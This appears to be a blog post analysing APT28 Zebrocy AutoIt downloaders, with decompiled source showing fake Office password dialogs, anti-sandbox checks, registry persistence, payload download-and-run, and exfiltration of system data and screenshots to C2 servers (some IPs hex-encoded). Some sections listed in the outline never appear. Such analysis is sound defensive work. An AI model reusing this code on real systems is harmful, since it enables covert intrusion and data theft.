Let’s Learn: Progression of APT28 AutoIt Zebrocy Downloaders: Source-Code Level Analysis

Goal: Reverse engineer and analyze the APT28 Zebrocy/Zepakab AutoIt downloader implant, focusing on extracted AutoIt source code level analysis.
Source:

Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: d6751b148461e0f863548be84020b879
Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: 311f24eb2dda26c26f572c727a25503b
Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
MD5: 7b1974e61795e84b6aacf33571320c2a
Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
MD5: c2e1f2cf18ca987ebb3e8f4c09a4ef7e
Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
MD5: ec57bb4980ea0190f4ad05d0ea9c9447

Outline:

I. Background & Executive Summary
II. APT28 Zebrocy/Zepakab AutoIt Script Extraction
III. Zebrocy/Zepakab AutoIt Deeper Dive
A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
1. "_gapi_tcpsendfile()" Function
B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
1. "_giga()" Function
2. "_infosystemservice()" Function
3. "_mv()" Function
4. "_sofware()" Function
C. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled) 
1. "_getscreen()" Function
2. "_sendpost()" Function
D. Zebrocy/Zepakab Downloader Implant (32-Bit x64 Compiled)
1. "parsestring()" and "parsefile()" Functions
E. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled)
IV. Yara Signature

I. Background & Executive Summary
The APT28 group continues to be developing and leveraging Zebrocy/Zepakab downloader implants. Here, I decided to recover and dissect its AutoIt scripts from its executable. APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
The malware downloaders are simple AutoIt compiled scripts with the added icons and are occasionally packed with UPX.
The Zebrocy/Zepakab Autoit downloader implants are simple and reminiscent of the other version coded in Golang, C++, and Delphi.
Malware analysis reveals the later usage of the hex-encoding functions to obfuscate certain strings within the APT28 malware.
APT28 Autoit downloaders rely on WinHTTP DLL library for clientserver communications. The reviewed older samples were compiled with Autoit for the 32-bit version, while the more recent ones were for the 64-bit one.
The downloaders simply create a fake GUI application mimicking Microsoft Word or PDF application with the fake message indicating password-protected documents to make Autoit icon is not visible with the (“TrayIconHide”, 1) argument. In the later versions of this malware, the developer(s) also decided to obfuscate this string with hex-encoding presumably to avoid static detection on hidden Window AutoIt scripts.
Notably, on one occasion, the developer referenced the Microsoft Word document icon path from the machine as “C:\works\old_progs\download\icons\DOC.ico.” The malware downloaders’ version information includes the English-language locale and LCID code of “2057”, which is a code page for English, Great Britain language code.
One of the earlier downloader malware oddities includes a check for the software titled “Lamer.exe” as well with the VirtualBox related processes (“vmacthlp.exe”, “vmtoolsd.exe”, “vmusrvc.exe”), parallel desktop software processes (“prl_cc.exe”, “prl_tools.exe”, “SharedIntApp.exe”).
Update (2019-01-22): The newly observed Zebrocy AutoIt sample contained the timestamp compilation date of Wednesday, January 16 06:10:59 2019 UTC introducing a Windows Management Instrumentation (WMI) host profiling method along with the odd name of execution function name of “crocodile().” Most importantly, the newer sample introduced the Base64-based encoding with the padded “F” (until 5) on the reverse length of Base64 data blob and appended to the “img=” URI with the HTTPS server communication.
The malware servers appear to be have been located at the following Autonomous System Number (ASN):

AS49544 Qhoster
AS201011 Core-Backbone
AS29073 QuasiNetworks
AS9009 M247

The APT28 Autoit downloader execution can be tied to the following ATT&CK Enterprise Attack – Attack Pattern framework:

+ Command-Line Interface - T1059    
+ Scripting - T1064    
+ Registry Run Keys / Start Folder - T1060    
+ System Information Discovery - T1082
+ Windows Management Instrumentation - T1047
+ Exfiltration Over Command and Control Channel - T1041   
+ Standard Application Layer Protocol - T1071
+ Data Encoding - T1132

I have uploaded the decoded APT28 AutoIt scripts along with the MISP JSON and CSV indicators of compromise (IOC) extractions for further analysis and mitigation on GitHub at k-vitali/apt28_zebrocy_autoit_resource.
II. APT28 Zebrocy/Zepakab AutoIt Script Extraction
One of the possible interesting challenges includes the decompilation of x64-bit compiled AutoIT samples. 
One way you can tell if it is an AutoIt-compiled malware is through examining the resource section “RCData” for “SCRIPT” namespace with AU3 header.
Routinely, simple Exe2Au worked to retrieve the 32-bit version extracted AutoIt scripts, while the 64-bit required a small trick of recovering payloads via ResourceHacker (since Exe2Au does not support 64-bit versions), compiling them as .au3 scripts to the executable on a 32-bit machine, and then extracting them back via Exe2Au toolset. A similar method is referenced by @hexacorn here.
The steps are as follows:
1. Open the binary in Process Hacker and save the RCData ‘SCRIPT’ AU3 resource as binary and rename ending in .au3.

2. Open Aut2Exe v3 and set them as source AutoIt .au3 and create a new executable, then extract the AutoIt script via “Exe2Aut.”

III. Zebrocy/Zepakab AutoIt Deeper Dive
A. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon Jan 25 06:27:36 2016)

The sample timestamp shows compilation timestamp of Monday, January 25, 06:27:36 2016 UTC with the version language code set to English, Great Britain. The sample leverages AutoIT GUI API (with hidden Tray Icon) and installs as “srvsml.exe” in “%APPDATA%\Microsoft\Network\SupportAssistanse”. Additionally, it sets up persistence in “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” as “srvmcc.exe”. It also writes “0x110101” to “Software” key in “HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance”.
The notable addition includes the developer path to
as “C:\works\old_progs\download\icons\DOC.ico” as well as setting time for the installed payloads modification time to “20131402.” It is also notable that the malware coder does not follow normal AutoIT FileSetTime conventions YYYYMMDD setting potential month outside of the 12-month range. It is possible that it could be a developer mistake or misinterpreted month and day order (or European style).
Additionally, this malware includes anti-Virtual Machine (process blacklist) logic.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
$ms_word = GUICreate("Password                   ", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe)
GUISetIcon("C:\works\old_progs\download\icons\DOC.ico", -1)
$input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password))
$button1 = GUICtrlCreateButton("OK", 120, 48, 83, 25)
$button2 = GUICtrlCreateButton("Cancel", 216, 48, 83, 25)
Opt("TrayIconHide", 1)
$runex = "\srvsml.exe"
$aar = ProcessList()
_vm($aar)
$f = FileExists(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex)
If $f = 0 Then
 RegWrite("HKEY_CURRENT_USER\Software\Microsoft\ActiveAssistance", 
"Software", "REG_SZ", "0x110101")
 $hopen = _winhttpopen()
 $hconnect = _winhttpconnect($hopen, "hxxp://80[.]255[.]6[.]5/")
 $hrequest = _winhttpsimplesendrequest($hconnect, Default, 
"/daily-update-certifaicates52735462534234/update-15.dat")
 $data = _winhttpsimplereaddata($hrequest)
 RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", 
"MSCertificates", "REG_SZ", @TempDir & "\srvmcc.exe")
 $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, 2 + 16 + 8)
 FileWrite($hfileonce, $data)
 FileClose($hfileonce)
 $hfile = FileOpen(@TempDir & $runex, 2 + 16)
 FileWrite($hfile, $data)
 FileClose($hfile)
 _winhttpclosehandle($hrequest)
 _winhttpclosehandle($hconnect)
 _winhttpclosehandle($hopen)
 FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex, "20131402", 1)
 FileSetTime(@AppDataDir & "\Microsoft\Network\SupportAssistanse"       & $runex, "20131402")
 Run(@AppDataDir & "\Microsoft\Network\SupportAssistanse" & $runex)
 $name = _getname()
 $aar = ProcessList()
 $name_send = $name & "-" & @MON & "-" & @MDAY & ".tmp"
 $msg = _arraytostring($aar)
 Dim $ains
 _computergetsoftware($ains)
 $ainsmsg = _arraytostring($ains)
 $msg = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @MIN & "-" & @SEC & @CRLF & $msg & "===========================" & @CRLF & "===========================" & @CRLF & $ainsmsg
 $data = _gapi_tcpsendfile("80[.]255[.]6[.]5", "/LoG-statistic8397420934809/date-update9048353094c/StaticIpUpdateLog23741033.php", $name_send, $msg)
EndIf
GUISetState(@SW_SHOW)
While 1
 $nmsg = GUIGetMsg()
 Switch $nmsg
  Case $gui_event_close
   Exit
  Case $button1
   MsgBox(64, "Error", "Corrupt or Wrong Password!")
   ContinueLoop
  Case $button2
   Exit
 EndSwitch
WEnd

1. “_gapi_tcpsendfile()” Function
The malware TCP AutoIT library to send and retrieve files leveraging TCPStartup, TCPNameToIP, TCPTimeout, TCPConnect, TCPSend, TCPRecv, and TCPShutdown.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 2 AutoIT "_gapi_tcpsendfile" ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _gapi_tcpsendfile($host, $hrv, $file, $msg)
 $sparametrs = "-----------------------------7dd177a260412" & @CRLF
 $sparametrs &= 'Content-Disposition: form-data; name="/Content/Files/"' & @CRLF
 $sparametrs &= @CRLF
 $sparametrs &= "./" & @CRLF
 $sparametrs &= "-----------------------------7dd177a260412" & @CRLF
 $sparametrs &= 'Content-Disposition: form-data; filename="' & $file & '"' & @CRLF
 $sparametrs &= "Content-Type: " & $file & @CRLF
 $sparametrs &= @CRLF
 $sparametrs &= $msg & @CRLF
 $sparametrs &= "-----------------------------7dd177a260412--" & @CRLF
 Local $srequest = "POST /" & $hrv & " HTTP/1.1" & @CRLF
 $srequest &= "Content-Type: multipart/form-data; boundary=---------------------------7dd177a260412" & @CRLF
 $srequest &= "Host: " & $host & @CRLF
 $srequest &= "Content-Length: " & StringLen($sparametrs) & @CRLF
 $srequest &= "Cache-Control: no-cache" & @CRLF
 $srequest &= @CRLF
 $srequest &= $sparametrs
 If TCPStartup() == 0 Then Return -1
 Local $sip = TCPNameToIP($host)
 If @error Then Return -2
 Opt("TCPTimeout", 1000)
 Local $nmaxtimeout = 30
 Local $isocket, $ierror
 While 1
  $isocket = TCPConnect($sip, "80")
  If @error = 10060 Then
   $nmaxtimeout -= 1
   If $nmaxtimeout < 0 Then
    Return False
   EndIf
   ContinueLoop
  ElseIf @error Then
   $ierror = @error
   Return False
  Else
   ExitLoop
  EndIf
 WEnd
 $i = 0
 TCPSend($isocket, $srequest)
 Local $sdata = "", $itimer = TimerInit(), $timewait = ((1000 * (StringLen($srequest) / 1024)) + 30000)
 Do
  $sbuffer = TCPRecv($isocket, 2048, 1)
  $ierror = @error
  If $sbuffer Then
   $sbuffer = BinaryToString($sbuffer)
   $sdata &= $sbuffer
   $timewait = 2000
   $itimer = TimerInit()
  EndIf
 Until $ierror  0 OR TimerDiff($itimer) > $timewait
 TCPShutdown()
 Return $sdata
EndFunc

B. Zebrocy/Zepakab Downloader Implant (32-Bit x86 Compiled) (Mon May 11 19:06:01 2016)

This APT28 downloader implant is a 32-bit version, which AutoIT original script can be simply recovered via Au2Exe.
The sample timestamp shows compilation timestamp of Monday, May 11 19:06:01 2016 UTC. The sample installs in %APPDATA%\Microsoft\Internet Explorer\Quick Launch\ as “srvcron.exe” with the hidden icon as the fake Microsoft Word application.
Additionally, this malware includes anti-Virtual Machine (process blacklist) logic but also parses for known anti-virus sandboxes.

The list of all relevant functions follows:

_giga()
_infosystemservice()
_mv()
_sofware()

The relevant main function is below.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;; Zepakab/Zebrocy AutoIT Setup Excerpt ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Global Const $es_password = 32
Global Const $gui_ss_default_input = 128
Global Const $gui_event_close = -3
Global Const $ws_sysmenu = 524288
Global Const $ws_caption = 12582912
Global Const $ws_popup = -2147483648
Global Const $ws_ex_dlgmodalframe = 1
If NOT (IsDeclared("$cI_CompName")) Then
EndIf
Opt("TrayIconHide", 1)
$ms_word = GUICreate("Password", 311, 86, -1, -1, BitOR($ws_caption, $ws_popup, $ws_sysmenu), $ws_ex_dlgmodalframe)
$input1 = GUICtrlCreateInput("", 8, 16, 297, 21, BitOR($gui_ss_default_input, $es_password))
$ok = GUICtrlCreateButton("OK", 120, 48, 83, 25)
$cancel = GUICtrlCreateButton("Cancel", 216, 48, 83, 25)
Global $sname = _mv()
$sexname = "srvcron.exe"
$exist = FileExists(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname)
GUISetState(@SW_SHOW)
OnAutoItExitRegister("_Giga")
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000)
ExitLoop
Case $ok
MsgBox(64, "Open file error!", "The password is incorrect. Cannot open the document!")
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware()) Sleep(3000)
ExitLoop
Case $cancel
GUIDelete($ms_word)
_infosystemservice
("hxxp://194[.]187[.]249[.]126", "/security-services-DMHA-group/info-update-version/id77820082.php", $sname & "__" & @MON & @MDAY & @MIN & ".tmp", _sofware())
Sleep(3000)
ExitLoop
EndSwitch
WEnd

a. “_giga()” Function

The _giga() function calls the server and saves the second-stage payload to %TEMP%\ as “srvcass.exe” and creates the payload quick launch and runs via it. It installs in registry to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” as “IESecurity.” Additionally, it sets up “DriverID” entry value to 11×00110011 in “HKEY_CURRENT_USER\Software\Microsoft\Drivers”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_giga" Function ;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _giga()
 $hopen = _winhttpopen()
 $hconnect = _winhttpconnect($hopen, "hxxp://194[.]187[.]249[.]126/")
 $hrequest = _winhttpsimplesendrequest($hconnect, Default, 
"/security-services-DMHA-group/id-pid919/1SQL5-5database-update/release-554211/updater-service.dat")
 $data = _winhttpsimplereaddata($hrequest)
 $hfileonce = FileOpen(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" 
& $sexname, 2 + 16 + 8)
 FileWrite($hfileonce, $data)
 FileClose($hfileonce)
 $hfile = FileOpen(@TempDir & "\srvlcass.exe", 2 + 16)
 FileWrite($hfile, $data)
 FileClose($hfile)
 _winhttpclosehandle($hrequest)
 _winhttpclosehandle($hconnect)
 _winhttpclosehandle($hopen)
 Run(@AppDataDir & "\Microsoft\Internet Explorer\Quick Launch\" & $sexname)
 RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Drivers",_ "DriverID", "REG_SZ", "11x00110011")
 RegWrite
("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "IESecurity",
 "REG_SZ", @TempDir & "\srvlcass.exe")
EndFunc

2. “_infosystemservice()” Function
The _infosystemservice() function simply passes the collected information to the server on the “info=” parameter with “.tmp&statistic=” data parameters

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_infosystemservice" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _infosystemservice($host, $hrv, $name, $data_s)
 $url = $host & $hrv
 $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
 $ohttp.open("POST", $url)
 $ohttp.setrequestheader("Content-Type", "application/x-www-form-urlencoded")
 $adata = "info=" & $name & ".tmp&statistic=" & $data_s
 $ohttp.send($adata)
 $ohttp.waitforresponse
 $response = $ohttp.responsetext
 Return $response
EndFunc

3. “_mv()” Function
It is probably one of the more interesting Zebrocy/Zepakab downloader implant functions searching for a virtual machine and parallel desktop software along with the mystical “Lamer.exe.” Additionally, beyond the bot ID creation via “cmd.exe /U / VOL”, the malware searches for the following blacklisted hex-encoded bot ID with Volume Serial Number with first four left ComputerName characters in hex with the following values:

CC078550 414E544F // ANTO (ANTONY-PC) -> Kaspersky
0CE74E66 41444D49 // ADMI (ADMIN-PC) -> Comodo
64F3BF1F 54515564 // TQUd -> N/A
64F3BF1F 61776F64 // awod -> N/A
88FDB972 524F4745 // ROGE (ROGER-PC) -> Avira, Kaspersky, Comodo
B8EB467E 5657494E // VWIN -> N/A
D4BC89F6 57494E37 // WIN7 -> N/A
E00458AD 4245412D // BEA- -> N/A

These values represent known Virtual machines and/or sandboxes as identified by APT28 developers. I was able to crossreference of few of these as they were disclosed and discussed in the paper “The Adventures of AV and the Leaky Sandbox” by Amit and Itzik Kotler. The malware will execute if it detects either blacklisted process or the machine fingerprint (serial number + hex(computer name)) matches known sandboxes. Few of the sandboxes appear to belong Avira, Comodo, and Kaspersky.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_mv" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _mv()
 Dim $ssearch[11]
 $ssearch[10] = "Lamer.exe"
 $ssearch[1] = "vmacthlp.exe"
 $ssearch[2] = "vmacthlp.exe"
 $ssearch[3] = "vmtoolsd.exe"
 $ssearch[4] = "VBoxTray.exe"
 $ssearch[5] = "VBoxService.exe"
 $ssearch[6] = "prl_cc.exe"
 $ssearch[7] = "prl_tools.exe"
 $ssearch[8] = "SharedIntApp.exe"
 $ssearch[9] = "vmusrvc.exe"
 $ssearch[2] = "vmsrvc.exe"
 $ssearch[0] = UBound($ssearch)
 For $i = 1 To $ssearch[0] - 1
  $iindex = _arraysearch(ProcessList(), $ssearch[$i], 0, 0, 0, 1, 0, 0)
  If $iindex  -1 Then
   Exit
  EndIf
 Next
 Local $id, $soutput = ""
 $id = Run(@ComSpec & " /U /C VOL ", "", @SW_HIDE, $stderr_child + $stdout_child)
 While 1
  $soutput &= StdoutRead($id, False, False)
  If @error Then
   ExitLoop
  EndIf
  Sleep(10)
 WEnd
 $soutput = BinaryToString($soutput, 2)
 $aout = StringRegExp($soutput, "[A-Z0-9]{4}-[A-Z0-9]{4}", 1)
 $aout[0] = StringReplace($aout[0], "-", "")
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"CC078550414E544F", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"0CE74E6641444D49", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"64F3BF1F54515564", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"64F3BF1F61776F64", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"88FDB972524F4745", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex_(StringLeft(@ComputerName, 4)), 
"B8EB467E5657494E", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"D4BC89F657494E37", 0)
 If $kor = 1 Then Exit
 $kor = StringRegExp($aout[0] & _stringtohex(StringLeft(@ComputerName, 4)), 
"E00458AD4245412D", 0)
 If $kor = 1 Then Exit
 Return $aout[0] & _stringtohex(StringLeft(@ComputerName, 4))
EndFunc

4. “_sofware()” Function
The _sofware function parses for installed software walking through registry Uninstall key for “DisplayName”. It collects drive information (label and space), retrieves system information via cmd “systeminfo” output, and retrieves and concatenates processes into the system information.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy AutoIT "_sofware" Function ;;;;;;;;;;;;;;;;;;;;;; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _sofware()
 Local Const $reggetkey = 
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
 Local $i = 1
 Local $asoft
 $asoft = "                --------Software-------" & @CRLF & @CRLF & @CRLF
 While 1
  $appkey = RegEnumKey($reggetkey, $i)
  If @error  0 Then ExitLoop
  $asoftstingtemp = StringStripWS(RegRead
($reggetkey & "\" & $appkey, "DisplayName"), 3)
  $asoft = $asoft & $asoftstingtemp & @CRLF
  $i += 1
 WEnd
 $sys_info = "                --------System info-------" & @CRLF
 $sys_info = $sys_info & "TempDir: " & @TempDir & @CRLF
 $_getddive = DriveGetDrive("ALL")
 $sys_info = $sys_info & "Program start: " & @ScriptDir & "\" & @ScriptName & @CRLF & @CRLF & @CRLF
 For $dd = 1 To $_getddive[0]
  $sys_info = $sys_info & "Name : " & $_getddive[$dd] & " La" & "bel: "
  $sys_info = $sys_info & DriveGetLabel($_getddive[$dd] & "\") 
        & " FR" & "EE : " & DriveSpaceFree($_getddive[$dd] & "\") & @CRLF
 Next
 $sys_info_w_system_info = ""
 $sys_info_w_system_info = "                --------Windows system info-------" & @CRLF
 $w_system_info = _getdosoutput("systeminfo")
 $sys_info_w_system_info = $sys_info_w_system_info & $w_system_info & @CRLF & @CRLF & @CRLF
 $sys_info_sprocesslist = ""
 $sys_info_sprocesslist = "                --------Processes-------" & @CRLF
 $aprocesslist = ProcessList()
 $sprocesslist = _arraytostring($aprocesslist, " ")
 $sys_info_sprocesslist = $sys_info_sprocesslist & $sprocesslist & @CRLF & @CRLF & @CRLF
 Return $sys_info_sprocesslist & $asoft & $sys_info & $sys_info_w_system_info
EndFunc

C. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Thu Feb 15 04:16:27 2018)

The sample timestamp shows compilation timestamp of Thursday, February 15 04:16:27 2018 UTC with the same version language code set to English, Great Britain. The malware version describes itself as “Certificate verify checker.” The Zebrocy/Zepakab leverages AutoIT GUI API (with hidden Tray Icon) but adds hex encoding to obfuscate its values. It is interesting that this malware has the similar naming convention to the Golang version with the identical name of “getsnd” for the malware bot ID.
The malware also fakes itself as Microsoft PowerPoint and has the logic to take a desktop screenshot.
The malware adds persistence to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” as “MSCertificate” and installs itself as “%APPDATA%\Microsoft\Settings\Safety Warning Level\iecslss.exe”.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab/Zebrocy 3 AutoIT Main Excerpt ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main()
("JKSHDKG")
(48, "Microsoft PowerPoint", "PowerPoint can't read the outline from " & 
(@ScriptFullPath, ".exe", ".pptx") & " . No text converter is installed for this file type.")
("iecslss.exe")  0535
$getsnd = getsnd()
$systeminformation = getsysinfo()
; hxxp://220[.]158[.]216[.]127/search-sys-update-release/base-sync/db7749sc.php
$surl = _hextostring
("687474703A2F2F3232302E3135382E3231362E3132372F7365617263682D7379732D7570646174652D72656C656173652F626173652D73796E632F64623737343973632E706870")
$screen = _get_screen()
$data = _sendpost($surl, $systeminformation, $screen, $getsnd)
_savetofile($data)
main()

1. “_getscreen()” Function
The malware saves the desktop screenshot to “%TEMP%\GDIPlus_Image1.jpg” via the following function:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab "_getscreen" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Func _get_screen()
; "\GDIPlus_Image1.jpg"
_screencapture_capture(@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
$text = (@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
(@TempDir & _hextostring("5C474449506C75735F496D616765312E6A7067"))
_stringtohex($text)
EndFunc

2. “_sendpost()” Function
Finally, the malware sends the collected information to the server via decoding hex-encoding URI parameters and WinHTTP header values.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zebrocy/Zepakab "_sendpost" Function ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_sendpost($surl, $sysinfo, $screen, $getsnd)
$i = 0
; dbgate= &sysinfo & &win32= & $screen
$spd = _hextostring("6462676174653D") 
& $sysinfo & _hextostring("2677696E33323D") & $screen
$ohttp = ("winhttp.winhttprequest.5.1")
; POST $surl & ?next= & $getsnd
$ohttp.open(_hextostring("504F5354"), $surl & _hextostring("3F6E6578743D") 
& $getsnd, 40)
; Content-Type application/x-www-form-urlencoded
$ohttp.setrequestheader(_hextostring("436F6E74656E742D54797065"), 
_hextostring("6170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F646564"))
$ohttp.send($spd)
$oreceived = $ohttp.responsetext
$ostatuscode = $ohttp.status
$ostatuscode = 2005
($oreceived)
$i = $i + 1
$i = 10518

D. Zebrocy/Zepakab Downloader Implant (32-Bit for 64-bit Autoit Compiled) (Wed Sep 05 01:23:45 2018)
The sample timestamp shows compilation timestamp of Wednesday, September 05 01:23:45 2018 UTC with the version language codepage set to English, Great Britain. The malware version describes itself as “Program Compatibility Assistant” impersonating Microsoft, Inc. The Zebrocy/Zepakab leverages AutoIT GUI API continues to leverages hex-encoding to obfuscate its values.
The main “checkupdate()” function is used to communicate with the server on HTTPS.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;; Zepakab "checkupdate" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
checkupdate()
; rcd=
$postdata = _hextostring("7263643D") & _postdate()
; https://145.249.106.198/
$host = _hextostring("68747470733A2F2F3134352E3234392E3130362E3139382F0D0A")
; client/en/community/supportcli.php
$uri = _hextostring("636C69656E742F656E2F636F6D6D756E6974792F737570706F7274636C692E706870")
; Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
$hopen = _winhttpopen(_hextostring("4D6F7A696C6C612F352E30202857696E646F7773204E5420362E313B20574F5736343B2072763A32352E3029204765636B6F2F32303130303130312046697265666F782F32352E30"))
$hconnect = _winhttpconnect($hopen, $host)
; POST
$sreturned = _winhttpsimplesslrequest($hconnect, _hextostring("504F5354"), $uri, 41, $postdata, 41, 41, 41, 41, 41, 1)
_winhttpclosehandle($hconnect)
_winhttpclosehandle($hopen)
parsefile($sreturned)
(20000)
checkupdate()

